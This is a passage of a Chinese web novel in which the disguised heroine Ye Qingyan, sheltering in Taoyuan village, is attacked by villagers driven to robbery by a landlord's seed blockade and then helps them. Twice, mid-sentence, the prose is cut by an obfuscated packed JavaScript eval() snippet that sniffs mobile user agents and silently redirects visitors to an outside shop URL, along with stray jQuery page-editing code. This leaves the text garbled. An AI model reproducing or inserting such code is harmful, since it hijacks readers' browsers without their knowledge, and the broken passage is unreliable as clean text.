唐二的想法与唐大所想一致,见叶青言没有要反对的意思,唐大当即派了一名护卫前去探路。 那护卫马术不错,离开不多时便回了来,表示前方三里左右有个名叫桃源村的村庄可供歇脚。 众人闻言,当即转道往桃源村而去。 桃源村村口栽有一大片桃树,想来“桃源”之名便是因此而来。 叶青言骑在马上,看着眼前光秃一片的桃林,无论是桃树下堆积的桃核,还是桃枝上那些明显被啃噬过的痕迹,都昭示着这片桃林不久前曾被过境的蝗虫肆虐了一遭。 村子很安静,街道上没有一个行人。 唐大示意其中一个护卫过去敲门,可那护卫连着敲了几家都没有人回应。 众人无法,只能继续往里走,直至走到村子中央,才从几个正在避风处玩耍的小孩们口中得知村里的大人们都去了里正家里说话。 唐大决定亲自过去里正家里,问问能否让他们一行在村子里避风。 唐二表示自己也要一起过去,但唐大没有同意,他让唐二留下来照顾两位女眷。 唐二一听,便也没有坚持。 唐大带着两个护卫去了里正家里,其他人则留在原地等待。 小孩们见他们没有再要问的,就又回去玩自己的了。 几个孩子围成一圈,手里拿着树枝不停的在地上写写画画,嘴里则说着自己写的这是什么字,自己今天认了多少个字…… “狗蛋,你写的这个字我还不会写。”其中一个小女孩道。 “没事儿的大丫,我教你写!”被叫做狗蛋的男孩拍着自己的胸脯,郑重道。 “狗蛋你太好了!”大丫小姑娘非常高兴。 “我们也不会,狗蛋你也教教我们吧!”其他小孩见状,纷纷表示自己也还不会。 狗蛋:“那大家一起学,贺先生说了,读书要大家一起读,有不懂的要相互讨论,这样才能进步的更快。” …… 小孩们的声音不大,但叶青言是习武之人,听力过人,再加上她离得不远,轻而易举便将小孩们的对话听了个十成十。 叶青言想了想,从行囊里拿了一袋糖果过去分给孩子们吃。 没有哪个孩子能拒绝糖果的诱惑,孩子们纷纷放下手里的树枝,双眼亮晶晶地看着叶青言手里的糖。 叶青言给每个孩子都分了五颗,吩咐他们拿回去慢慢吃。 “谢谢哥哥。” 孩子们礼貌地道谢。 叶青言看着地上的字,笑道:“你们是在写字吗?” 被叫狗蛋的小男孩是这群孩子里胆子最大的,刚刚就是他给唐大指的路,眼下回答叶青言问题的也是他。 “是啊,这是贺先生昨日新教的字,我们今天就要学会,我们得赶在先生离开村子之前多认些字,这样以后就可以自己看书学习了。” “马上就要入冬了,你们先生怎么还要离开?”唐二不知何时也走了过来,好奇问道。 “因为先生不是我们村子的人啊,他本来就是路过的,当然要离开。”狗蛋理所当然道。 唐二:“……” “才不是路过!”一个小女孩突然大声道,“先生才不是路过的,他是特意来我们村子吃桃子的。” “对对对,先生是来我们村子吃桃子的,他说他喜欢我们村种的桃子。”那个叫大丫的小姑娘也道,“可惜今年的桃子都被蝗虫给吃完了,先生没有吃到。” 孩子们听了,不由都有些失落,连手里甜滋滋的糖果都不觉得香了。 叶青言不知如何安慰他们。 唐二倒是想说点什么,可就在这时,唐大回来了,他是同一名老者一起回来的,身后还跟着几个穿补丁衣服的村民。 “这就是全部的人了?”老者朝叶青言这边看了一眼,才转回头问唐大道。 唐大点头:“还请里正收留。”顿了顿,唐大又道,“我们不会停留太久,等风停了就走。” 里正摆了摆手:“人不算多,你们要留下避风倒是无妨,只是我们村子今年遭了蝗灾,怕是没有食物可以供给你们。” 唐大闻言连忙表示:“里正能收留我等,已是恩情,我们自己带了干粮的,虽然不多,却也足以自足。” “如此便好。”里正说罢,指了村里一户家中无人的宽敞院子给唐大等人暂歇。 安排好住所,里正就离开了,他看着有些着急,似乎是挂心什么事儿。 叶青言想要说些什么,可看着在一旁写字玩耍的孩子们,终是什么也没有说,她低着头,跟着众人一起去了里正安排的院子休息。 村子再次恢复安静,唯有越发猛烈的狂风不停吹打着门窗。 唐大一行见此分外庆幸,若他们此时还在外边赶路可就危险了。 到了午后,风依旧没有停的趋势,呼啸的狂风一阵大过一阵,好不容易等到风小了一些,雨又落了下来。 雨虽不大,却也彻底断绝了叶青言等人离开的念头,他们今日只能借宿在桃源村了。< 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唐大嫂心下叹息,罢了,等晚间回屋再同夫君说道吧。 叶青言被安排住在小院靠西的厢房里。 她此时正在屋里回想自己进村后所看到的一切。 听到敲门声,叶青言起身打开房门,就看到屋外站着的三人,以及唐大怀里抱着的被褥,不由有些惊讶。 唐大笑道:“今晚我们得留在这里过夜,这床被褥是我们跟村民借的,特意给叶公子你送来。” 叶青言闻言,连忙接过被子:“唐兄太客气了。” 唐大:“应该的,公子你不仅救了我小妹,还给了我二弟伤药,我都还没有跟你好好道谢。” “不过举手之劳。”叶青言边说,边往旁边退开,礼貌地请对方三人进屋。 唐大是做香料生意的,对香味尤其敏感,他一走进厢房,鼻尖就闻到一股淡淡的香味,浅浅的,说不出来是什么花的味道,但是非常好闻。 叶青言将被褥放到床上,请了三人坐,她刚泡了壶茶,此时正好拿来招待三人。 村民的厢房窄浅,一眼就能将整个屋子看完。 唐小妹眼睁睁看着叶青言将被子放在床上,一时有些无措。 正巧这时叶青言请她落座,四目相对,唐小妹禁不住心下扑通乱跳起来,她羞赧地垂了垂头,跟在兄嫂身后坐下。 这一幕,都被唐大嫂看进了眼里,她在心中默默摇头。 唐大的注意力却被桌子上的茶水吸引。 “这茶……?”他注意到自己刚刚闻到的香味就是从茶里散发出的,不由问道。 叶青言:“这叫香灵草,是从海那边传来的一种香料,也可用来泡茶,有镇定安神之效。” 唐大拿起杯子闻了闻,清新又带点微苦的淡淡气味传入鼻端,这香味,极适合用以平衡各色浓烈的花香。 这岂不正是自己一直在找的那种香料! 唐大非常激动,他双眼紧盯着叶青言,急切问道:“不知叶兄这香料从何而来?能否告知于我!我现下调制的一种香薰就缺了这样一味香料。” 叶青言一怔,但她很快反应过来,笑道:“此物乃友人所赠,至于他从何处得来,我就不知情了。”香灵草是她从二殿下那拿的,兴许是宫中的贡品。 唐大听罢,很是失望,但他还是厚着脸皮问道:“叶兄能否赠我一些……” 唐大嫂轻轻拉了拉唐大的衣袖。 唐大也意识到自己的失态,尴尬地闭了嘴。 倒是唐大嫂,笑意吟吟道:“不知公子能否将这壶里泡过的茶叶赠予我夫妻。” 见叶青言面露诧异,唐大嫂笑着解释道:“我想试试看能不能对着样子找到这种香料。” 叶青言认真打量了夫妻两人,而后起身,从行囊里取了一包香料出来:“这东西于我,不过是种茶叶,不如就赠予你们,以作他用。” 唐大闻言,激动地站起来,双手接过油纸包:“多谢叶兄割爱。” 叶青言不甚在意地笑了笑,这东西对她,是真没什么用,若能被这夫妻找到其他用途,也不失为一桩美谈。 得了一直心心念念的香料,唐大十分高兴,他完全忘了自己此行的目的,甚至忘了旁边的妻子和妹妹,兴致勃勃地同叶青言说起制香上的一些趣事。 叶青言认真地听着,听到不懂的还会问上几句。对于制香,叶青言也曾起过兴趣,可因为李氏不喜,她便没有再碰过。 见人也对制香有兴趣,唐大说得更起劲了。 唐小妹几次想要插话,但都被唐大嫂四两拨千斤地岔了过去。 叶公子人瞧着不错,品行也佳,可关于他的家世来历,他们一概不知,实不该让小妹与之过多接触,还是得先了解了再看。 47. 桃村惊变 就在叶青言等人畅聊香道之时,雨渐渐停了。 村口处。 一群壮汉相互扶着从风里踉跄走来,他们甫一出现,便被里正派来查看的人带去了里正家的院子。 若是叶青言等人在此,就会发现这些人正是他们路上所遇到的那群土匪。 里正家中。 里正看眼前人一身狼狈,不少人身上还有见血的伤口,惊吓不已。 “你们这是真遇上王氏的人了?还同他们打了起来?” 领头的壮汉摇了摇头:“我们确实遇上了一伙人,但他们应该不是王氏的人,看着不像,不过他们也是绫罗绸缎在身,想来也不是什么好人,我们本想抢了他们,可这些人比想象的厉害,我们没能打过。” 里正听得一阵后怕:“你们为何如此冲动?冤有头债有主,他们既不是王氏的人,你们就不该对他们动手!” 那壮汉闻言冷哼一声:“他们就算不是王氏一族,也是旁的地方的土财主,里正您老莫不是忘了,若不是他们这些富人联合起来不卖给咱们粮种,咱们村子何至于明年没有粮种种地!” 里正张了张嘴,一时竟不知说些什么。 今年他们这片地方遭了蝗灾,蝗虫过境,不仅将地里的粮食吃了,连他们留在仓库里的粮种都被霍霍了个干净,好在他们往年靠着卖桃,也攒了一些余钱,他们本想用这些银子买点粮种回来,等来年春耕时种下。 可谁知,附近一家姓王的地主看中他们这里的田地,竟以蝗灾为由,想压价买走他们的田地。 他们自然不卖,土地是农民的命根子,不到万不得已,没有人会选择卖地。 不想那王姓地主竟无耻地联合附近所有的富户、商铺,不许人卖粮种给他们村子。里正不想跟他们多做纠缠,便召集村中男丁,选了其中几个健壮的,让他们带着银子去彭城里买粮种,可前去彭城的几人却在半道上遇上了劫匪,身上所有的银钱全被洗劫一空。 那是他们村子最后的救命银钱,得知事情后,众人感觉天都塌了。 里正也曾带人上过衙门状告,却都没有结果。 买卖自由,县太爷表示这事儿他管不了,至于劫匪之事,就更加无从着手了,即便众人心里都清楚是谁做的,却也没有切实的证据证明,只能草草了事。 “便是如此,你们也不该随意动手,你如何保证他们也是逼迫咱们的那些富人?万一他们不是,岂非伤及无辜。”里正苦口婆心,但村民们已然听不进去。 在场的村民大都是当时被抢劫的人,亲眼看着银子被抢,生存的希望被夺,他们对王氏的恨意比其他任何人都要来的深刻。 “那又如何?他们这些个富人不都一副德行?趁着灾荒压价屯田,百姓们若是不愿,他们就各种使坏,还动用官府的关系让我们这些穷苦百姓上求无门,逼得我们卖田卖地,他们既为富不仁,就别怪我们劫富济贫!”领头的汉子恨恨说道。 里正听罢深深叹息了声。 事实如此,里正知道众人心中窝火,且事已发生,说再多也只是空话,便也不再继续追究这事儿。他好言相劝了众人一番,苦口婆心地提醒他们不要再行莽撞之事,要多多为家中妻儿考虑。 提及家中妻儿,众人心中的怨气消散不少,不少人甚至有些后怕起来,若他们一个不慎回不来了,那家中老小可怎生是好? 见众人有所松动,里正稍稍松了口气,循循再道:“你们要对付王氏族人,我也没有意见,毕竟是他们欺人在先,可其他路过的行人,实不该受此无妄之灾。” 说罢,里正转眸看向领头的壮汉,语重心长道:“阿建啊,咱们可都是良民,你万不可一时冲动去走那不归路,多想想狗蛋,他是个聪明的孩子,这几天跟着贺先生学了不少字。” 被叫阿建的领头壮汉闻言,默默低下了头。 都是些普通的庄户人家,有太平日子,谁不想过? 里正抬手拍拍阿建的肩膀,让他回去好好想想,又嘱咐了众人两句,这才让他们各自回去洗漱换衣。 众人鱼贯而出,正准备各自回家,却在门口与前来找里正问事的唐二照了个正面。 两厢遭遇,气氛一时凝滞。 里正的眼皮跳了一下,刚要开口说话,就听“锵”一声响,是唐二身后两位名卫拔刀出鞘的声音。 阿建见状,操着手里的柴刀就迎了上去,口中还喊着其他人一起上。 短兵相接就在一瞬之间。 打斗的声音惊醒了住在附近的村民。 唐家一行暂住的院子刚好距离里正的屋子不远,再加上叶青言本就记挂着这事,所以一听到动静,便立即拿上佩剑奔了出去,唐大紧随其后。 眼见唐二等三人被一群壮汉围攻,他们也顾不得其他,当即冲了上去,很快便与村人战到一处。 叶青言的剑法使得行云流水,但她没有伤人性命,只用巧劲将人击退。 退而不伤,对方自然还会再攻上来,再加上听到动静的村人一波一波赶来,后来的人甚至都没弄清状况,就站在自己村里人这边,举起棍棒与叶青言等人打斗。 对面的村民越来越多,叶青言等人越发力不从心起来。 “大哥怎么办?”唐二焦急问道,“他们人太多了,再这样下去不是办法。” 唐大当然知道这点,可这样的情况,他也不知如何是好。 就在这时,叶青言一脚踢飞身前的壮汉,一个纵身来到里正身前,道一声“得罪了”,便将剑锋架在里正的脖子上,喝道:“都住手!” 村民们闻声看来,见里正被人劫持,个个目露厉色,却也干脆地停了手。 唐大等人见状,纷纷退到叶青言身后。 叶青言左右扫视了面前一众村民,见他们目含关切,虽然愤怒,却不敢上前半步,显然是忧心里正的安危。略略沉吟了片刻,叶青言松开里正,顺势收剑回鞘。 村民们被她这突如其来的举动惊地瞪大了眼睛,便是她身后的唐大等人也不理解她为何突然放人。 唐二正欲开口询问,却被唐大阻止。 “承蒙各位村民心善,我等今日才能在此留宿,我不知你们有何苦衷,要去做那拦路打劫之事。”叶青言说着,视线缓缓扫过众人,最后落在了阿建身上,“你们虽然人多,可要拿下我们,也没有那么轻易,想来这点你很清楚,既然如此,我们何必非要拼个你死我活?” 阿建闻言冷笑一声:“横竖都要死,死前拉你们做个垫背也好。” 见人如此顽固,叶青言也不跟他废话,转而看向里正,道:“里正以为,此事该如何解决?” 到了这会儿,里正哪里还能看不明白?这些个来借宿的,就是被阿建他们误打误撞打劫的那一群人,还真是冤家路窄! 里正稳了稳心神,对叶青言道:“小哥你本已劫持了老朽,却又放了我,想来是不愿与我等小民计较。你们走吧,马上走也好,等过了夜再走也好,我们都不阻拦。” “七叔!”阿建闻言,心里又急又气,“不能放他们走,万一他们去报官,咱们村子可就完了。” 众人听了里正之言,本都有些松动,再听阿建这话,顿时回过神来,手里的武器下意识举起,再次对准了院中的叶青言等人。 气氛瞬间又变得剑拔弩张起来。 这次不用叶青言开口,唐大走了出来,道:“在下姓唐,乃琅琊人士,此番去往彭城是为了恭贺祖家舅舅的五十岁大寿,并无意节外生枝。” 唐大话音落地,村民们手下不由一顿,相对看了几眼。 贺寿是喜事,尤其是五十岁这样的大寿,讲究的就是一个喜庆,没有人会在这样大喜的时间让自己与官府扯上关系,不吉利。 “我们凭什么相信你们的话!”然而相比其他村民,领头的阿建要激进许多,也要多疑很多,“张嘴就要我们相信你们,你们凭什么,就凭你们这一身绫罗绸缎?” 阿建此言,可谓极尽嘲讽之能事,便是再好脾气的人听了,也不免感到窝火。 唐大怒道:“你这人怎么不讲道理!” 阿建:“我连活都快活不下去了,还要讲什么道理?” “你……”唐大指着阿建,却半天说不出话来,最后无法,只能看向了叶青言。 叶青言正打量阿建,她注意到眼前这个汉子与早先那个叫狗蛋的孩子有那么几分相像,想来会是父子或者甥舅之类的关系。 “狗蛋跟你是什么关系?”叶青言问他。 阿建闻言,仿佛被人踩中尾巴一般,浑身汗毛都竖了起来,警惕道:“你想干什么?” 叶青言没有回答他这个问题,而是转眸看向了里正,意思非常明显,她只看里正怎么说。 里正闭了闭眼,道:“让他们走,谁也不许阻止。” “七叔! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121873|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您不能这样轻易就信了他们。”阿建急得不行,他只恨自己没有能力护住村子。 “你们放心,我不会去报官,也不会让官府因为这件事来找你们麻烦。”叶青言道,她说出的每一个字都无比清晰,夜风阵阵,却只能吹动她的衣摆袖袍,而吹不动她言语里的力量。 唐大听对方只表明了自己的态度,忙上前一步,道:“我们都不会去报官,我此番去彭城贺寿属实,你们若是不信,可以派人随我同去证实。” “话已然说到这个份上,可见人家是真不想同咱们打杀,就让他们走吧阿建,难道你非要弄出人命了才肯罢休?”里正叹息道。 “七叔,我……”阿建张了张嘴,却不知说些什么。 叶青言看着两人,不等他们理清思绪,便出言再道:“这次我们是不追究了,可你们若在去抢劫,总有一天会惹上官府,届时又该如何?” 村民们面面相觑,他们都是寻常的良民,根本没想走不归路,便是最先提出要找王氏族人劫富济贫的阿建所想的也只是抢回村子被抢走的银子…… 叶青言所言不是没有道理,可他们若不做上一次,又哪来的银钱去买粮种? 没有了粮种,他们明年怎么办? 风又大了起来,凛冽地抽打着院子里僵持对峙的人们。 里正的眉头紧紧锁了起来。 场间一片安静,寒冷的风依然肆意地刮着。 就在这时,叶青言道:“我能帮你们。” 此话一出,村民们纷纷侧目,就连唐大等人,也诧异地望了过来。 叶青言静静地站着,素白的衣摆被地上的污水沾湿了些许,半披散的青丝在风中翻飞,白日最后的光亮透过云层铺洒下来,衬得她的侧脸如玉般明丽。 “但你们需将事情始末完完整整告知于我。” 阿建闻言,心中因为叶青言刚刚的话语而起的那一丝期待顷刻散去,语气不善道:“你连发生了什么都不知道就说能帮我们,你当我们都是傻的不成?” 村民们一想,也泄了气。 叶青言看着他,却不解释,只道:“若我能找人作保,你是否就能信我?” 阿建冷笑一声:“作保?说来说去,你不就是想让我们放你走?放你们出去,好让你们去找救兵?想都别想,不许耍花招!” 叶青言摇头:“不用放我们出去,我说的保人,就在你们村里。” 话音落地,所有人都惊讶起来,村民们来来回回相互看着,完全没有发现谁人认识他们,又有谁人能替他们作保。 阿建已然没了耐心:“不用故弄玄虚,你直接说保人的名字,若真能作保,我便放你们离开。” 叶青言:“我说的保人,就是路过你们村子的那位贺先生。” 里正诧异,不确定问道:“你认识贺先生?” 叶青言点头:“若我猜的不错,他应该就是我认识的那个人。” 里正看向阿建。 阿建点了点头。 里正见状,正要打发其中一个村民去寻人,就听人群里传来一声轻笑,紧接着是一道不急不缓地问话声。 “你怎么猜到我在这的?” 随着话语落下,一个风度翩翩的青年从人群里走了出来。 “贺先生!” “贺先生您来了。” “贺先生您真地认识这个小伙子?” “贺先生他说得是真的吗?他真能帮助我们?” …… 村民们七嘴八舌地问道。 贺渊抬手示意他们收声,场间顿时又安静下来。 叶青言看着贺渊,平静回道:“我听狗蛋他们说的,一个为了吃桃子而特意来到此地的读书人,偏这读书人还姓贺,大概也只有你了。” “聪明。”贺渊抚掌夸赞。 里正踌躇着上前,可还没等他开口提问,贺渊就道:“我本来还在想怎么解决你们村子的这个麻烦,这不解决麻烦的人来了。” 贺渊笑看着里正,继续道:“这位公子说得不错,她能解决你们的问题。” 里正惊喜不已:“真的吗?” 贺渊:“这位公子姓叶,来自京城,家中长辈同彭城郡守有些交情,想来只要她的一句话,你们这的县太爷便不敢再忽视这事儿。” 话音落地,现场随之一静,风似乎都停了一停,所有的目光都落到了叶青言身上。 48. 尘埃落定 贺渊的话语,让密布桃源村子的肃杀气氛,悄然散了去。 村民们你看看我,我看看你,一时不知作何反应,最后不由都看向了里正。 “您真的愿意帮助我们?”里正颤抖着走到叶青言面前,不确定问道。他活了一辈子,还从没遇上过这样的好事,他们村子的人要打劫她,可对方不仅不计较,反而还愿意帮助他们…… 叶青言看出里正的犹疑,道:“里长放心,我说到做到。” 里正听罢几乎就要落下泪来,他弯下腰行礼,却被叶青言抬手托了起来,他定定地看向眼前这个身姿挺拔的秀美少年,轻轻拂开对方的手,郑而重之地再次弯腰行礼。 看出对方的坚持,叶青言没再阻拦,静静接受了这一礼。 行完了礼,里正转过身,振臂高呼道:“乡亲们,咱们桃源村有救了!” 有救了,他们村子有救了,他们可以不用被逼着卖田了! 他们这些在土里刨食的农户,可以留下自己的土地了! 里正话音落地,桃源村众人齐齐欢呼,喜不自胜。 阿建站在欢呼的人群里,瞩目着人群外的叶青言,脸上的表情很是有些惘然。 今日发生的事情,是真实的吗? 这个少年真是从京城来的官宦子弟? 他真愿意不计前嫌地帮助他们村子? …… 看着眼前这个身姿笔挺的俊秀少年,阿建心里其实已经信了大半,可习惯使然,他还是开口问贺渊道:“贺先生,她说的可都是真的?您真地愿意为他她作保?” 贺渊虽只在桃源村呆了数日,可他不拘小节,又有耐心,时常替村民们读信写信,还免费教村里的小孩认字,村民们都很信任他,尤其是阿建。 因为贺渊就借住在他家里,他们两人相处的时间最多,他也最清楚贺渊的秉性。 贺渊抬手在阿建肩上拍了拍,道:“只要你信得过我,我可以为她作保!” 说罢,贺渊转头看向了叶青言。 叶青言颔首表谢,夜风撩动她肩上垂落的黑发,发丝在她秀美的脸颊上飘过,带起一丝微笑,她笑得很看好,仿佛江南温暖拂面的春风,又似冬日湖面照耀的第一缕阳光。 阿建终于放下了一直握在手中的砍刀。 一场刀枪相见的祸事,彻底落下帷幕。 雨不知何时又落了下来。 秋雨时落时歇,虽不像春雨那般缠绵,却也阴冷的有些烦人。 里正将村民都打发回去避雨,只留下贺渊、叶青言和几位有名望的族老商议。 阿建坚持不愿离开,里正无法,只能让他留下,并连连叮嘱他不能再生事端。 雨水洗刷着现场遗留的打斗痕迹,众人在地上踩踏出的脚印很快就被雨水冲刷干净。 秋意依然,似乎什么都没有发生,实际上却已经发生了很多事情。 屋子里,里正将桃源村这阵子所发生的事情从头至尾都跟叶青言说了一遍。 这个故事看似有些长,讲完却不需要太长的时间,就连叶青言面前茶杯里的茶水都没有变凉。 茶水是里正进屋后亲自给叶青言和贺渊两人泡的,茶并不香,但很浓郁,应该是陈年的黑茶,这茶在叶青言和贺渊看来粗劣至极,可对于普通的庄户人家,这已是最上等的极品,他们只有在招待贵客时才会拿出来泡上。 “原来如此。”叶青言了然颔首,“我都知道了。” 里正小心翼翼地观察着叶青言脸上的表情,见状问道:“公子可是有法子帮我们弄到粮种?” 叶青言:“要弄到粮种不难,难的是之后的事情。” 里正疑惑:“之后的事情?” 之后还能有什么事情? 叶青言:“有王氏一族在旁边盯着,有了粮种以后,你们打算如何保住粮种?如何确保春耕顺利?又如何肯定粮食能顺利成熟收仓?” 里正闻言大惊,屋里的其他村人也是一副不敢置信的模样。 其中一个族老咽了口唾沫,吞吞吐吐道:“这……这这……那可是粮食,他们王氏的人……还能对地里的庄稼下手不成?” “没什么不可能的。”说话的人是贺渊,他道,“就是因为这些原因,我此前才迟迟没有同意你们再去收粮种,不从源头上解决问题,你们后面做再多也只是白做。” 而眼下,只需叶青言这个来自京城的世家子弟的一句话,就能解决所有这些问题。 权力永远高于财富。 一时间,村民们的目光都落到了叶青言身上。 叶青言敛目沉思,她要想的更深,也更远,纤长有力的手指有一下没一下地敲击着桌面。 像桃源村这样的事情,在庆朝的其他地方定也有不少,粮种涉及民生,长此以往,恐生暴乱。 思及此,叶青言扣桌的手指停住,神色也随之一变。 众人不知她心中所想,见她神色有变,纷纷紧张起来。 这事儿难道叶公子也解决不了? 这时外面突地刮起一阵疾风,吹得窗棂“啪啪”作响。 阿建闭了闭眼,好似做了什么决定一般,他举步走到叶青言跟前,置于身侧的双手紧紧地握着,出口的声音却没有任何颤抖:“前面的事情都是我一个人的主意,只要你能帮我们村子度过这场危机,我愿意用我的命来给你赔罪。” “阿建!”里正闻言喝道,“你胡咧咧什么呢?叶公子宅心仁厚,哪里会要你的命,赶紧退下!” 里正边说,边慌张地看向叶青言,只希望她没有把阿建的话当真。 叶青言抬眸定定看着阿建,她没有笑,哪怕再轻的笑也没有,她很平静,于是显得很庄严,很肃穆,也很可怕。 阿建紧张地同她对视。 天幕渐渐暗下,有村民点燃了照明的烛火。 叶青言一直没有说话。 随着时间流逝,里正越发紧张起来,倒是一直看着叶青言眼睛的阿建反而变得越来越放松。 “我为何要你的命?”良久,叶青言开口问道。 这只是一个单纯的询问,可叶青言脸上的神情实在太过平静。 平静有时候也是一种力量,代表了认真。 叶青言的认真,使得这个问题显得高深莫测起来,让人一时摸不准,她这到底是询问,还是早就知悉全局的质问。 “因为我……”阿建本想说,因为我拦路抢劫了你,事后还不信任你,不愿放你离开村子,可看着叶青言的眼睛,他突然就说不出口了,他觉得他不该用自己那自私自利的想法去玷污对方的高尚。 “这件事你确实做错了,但也只是错了,罪不至死。”叶青言道,她依旧看着阿建,出口的语气极是平静,“王氏的人抢了你们买粮种的银子,你们要抢回来无可厚非,可你不该将主意打到其他路过的富人身上。” 叶青言这话阿建是不服的,可眼下情势比人强,他认。 “您说的是。”他自认为自己隐藏得很好,却不知旁人已将他的不服看了个清清楚楚。 “你不服。”一个问句,却被叶青言用笃定的语气讲出。 阿建听罢一滞,随即梗着脖子硬邦邦道:“我没有。” 叶青言抿着嘴看了他几息,也不同他多做争论,道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128202|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是,这附近的富户商铺是听了王氏的嘱咐不卖粮种给你们,可你怎么确认他们不是被迫的。” 阿建下意识否认:“这怎么可能!” 叶青言:“为什么不可能?据你们所说,王氏一族在这片地方的势力极大,他们既能逼迫你们,为何不能威胁逼迫其他人,还有县令,买卖自由,证据不足,他有哪一点没有按照朝廷的章程办事?” 叶青言的声音依然很平静,没有刻意的慷慨激昂,却把众人心底那仅存的希望压得粉碎。 屋里一片安静,没有任何声音。 屋外风雨敲窗的声音,似是更重了几分。 过了许久,屋内才响起里正颤巍巍的说话声。 “所以我们村子……是没救了?” 叶青言一怔,忙道:“里正误会了,我方才只是告诫这位壮士,不可鲁莽行事,村子的事情,我已经有解决的办法。” 里正将信将疑:“真……真得吗?” 叶青言点头,只怕仍有人迟疑,她请里正拿了笔墨来,当场写了一封信交给里正,想了想,又从腰间取下一枚玉佩,一并递了过去,道:“选个脚程快的,将这封信送到临安府,交到都尉司左副都尉——沈暄的手中,玉佩是信物,后面的事情,他们会处理。” 乍听都尉司左副都尉这样大的官衔,里正接玉佩的手都抖了起来,不确定道:“我们村这种小事,那些大官真的会管?” 叶青言看着他,很认真地说道:“事关粮食就不是小事。” 此话一出,四周霎时为之一静,整个空间,在这一瞬间,仿佛都变轻了很多。 几人说话的时候,贺渊一直看着叶青言的动作,眼前少年显然是个十指不沾阳春水的,拿玉佩的手,白皙修长,瞧着竟比那上等白玉还要皎洁三分。 这样一个不曾经历苦难的世家子,却能感同身受粮食对普通百姓的重要性,实在难得。 贺渊很是感慨。 同时,叶青言又从怀里取了一张银票出来:“这里是一百两,你们拿去先将粮种买齐,免得到时市面上没有粮种,而耽误了春耕。” 里正闻言,连连摆手:“我们怎么能要你的银子,不成的,这不成的。” 叶青言直接将银票塞进里正手里,道:“你们拿着,私下先将粮种买了,若真不想接受这钱,等取回你们自己的银子后,再将这些钱捐给彭城里的慈幼局便可。” 里正拿着银票,手下发颤,他身后的桃源村族老们亦同,这些个老者再三地向叶青言鞠躬,以表感谢,有几人甚至想要跪下磕头,但都被叶青言拦了住。 叶青言没有丝毫不耐,她一次一次地将他们扶起来,一声一声地告知他们一切都会过去。 阿建安静地看着这一幕,脑中回想着对方刚刚跟自己说的那些话。 他隐约有些明白对方的意思。 沉默半晌,他走上前去,道:“公子刚才的告诫,我明白了。” 叶青言抬眸:“你真的明白了?” 阿建点头:“明白了,虽然没法说清,但我想我明白了。” 叶青言笑了,她看着阿建,说道:“人性有很多面,有负面,也有正面,每一面的展现都是基于曾经的经历,我们未曾经历别人的人生,就不能断言他是否做错。一个人,可以虚与委蛇,可以自私,但要坚守住最后的底线。” 顿了顿,她又道:“也不要总想着死,要活着,有用的活着,而有用之身,总要用来做些有用之事,无论为自己,还是为家人。” 阿建深深记住了最后这两句话。 至此,整个桃源村里,再没有一丝窒碍之气。 49. 雨夜交谈 安抚好桃源村众人,叶青言和贺渊才终于有了叙旧的闲暇。 两人走出里正家的时候,外头的雨还没有停下,但已经小了很多,雨丝淅沥,如丝如线,看着一时半会儿也停不了。 叶青言站在屋檐下,听着微微沙沙的雨声在地面与屋顶之间起落,她脸上的神情很平静,但仔细去看,还是能看出此时的她与刚进村时候的她有着某些细微的差别。 大概是因为知晓潜在的危机已经解除,所以她看上去随意了很多。 或许不那么明显,但叶青言一直都是个自信的人,在她的观念里,自己必须要先相信自己,如此才能将事情做成,而眼下,她不仅顺利解决了夜晚留宿的潜在危机,还顺便帮村民们处理了田地的问题,一切都朝着好的方向发展,她自然更加精神抖擞。 虽然此时的夜已经很黑,天已经很暗,细雨连天,可她更加开阔的心胸里,有一轮红日正在冉冉升起,又哪里还会在意雨幕黑夜? 贺渊与叶青言交集不多,可他每一次见到的她,都是沉静的,那种过于沉稳安静的气质让她给人一种早熟的感觉,仿佛要比真实年龄大上四五岁。可此时此刻的她,就像雨后出现在天空的朝阳一般,清新、明丽,充满了一种在她身上很少见到的蓬勃朝气。 “你看起来很开心。”没头没尾的,贺渊突然这样说道。 这话其实有些唐突,而显得有些冒犯,毕竟他们才只见过几面,远远称不上熟悉。 “是挺开心的。”但叶青言并不觉得冒犯,反而很坦然地接上了话。 顿了顿,她又道:“还得感谢公子,若非有你,今夜之事只怕难以善了。” 贺渊笑看着叶青言,闻言摇了摇头:“我什么也没有做,是公子观察入微,为自己解决了麻烦,再者桃源村众人也不是什么亡命匪徒,他们只是被地主压价屯田的手段给逼得无奈了,才会去行那等险招。” 叶青言点头表示明白。 之后两人便没再说话,四周一片安静,夹杂着细雨的秋风,放肆地在两人之间来回。 “要回去吗?我先送你。”贺渊举起手中的油纸伞问道。 叶青言抬头看了眼雨幕,点头:“好。” 至于为什么是送? 因为他们只有一把伞。 即便是村里最富有的里正一家,也只有一把可供遮雨的油纸伞。 里正将这把伞借给了他们,其他村民都是冒雨回的家。 贺渊撑开油纸伞,叶青言拿起悬挂在门柱上的灯笼,两人肩并着肩,缓步走进了绵绵夜雨之中。 桃源村不大,他们很快就走到村子中央的两株杨柳树下。 入秋之后,这两株杨柳便开始落叶,此时树上的叶子已经掉得差不多了,地面上铺着厚厚的落叶,最上面的那层叶子还泛着金黄色的光泽,很好看,微雨打在上面,发出窸窸窣窣的声音。 叶青言停下脚步。 贺渊见状,也顺势停了下来,并顺着对方的目光看向那两株杨柳。 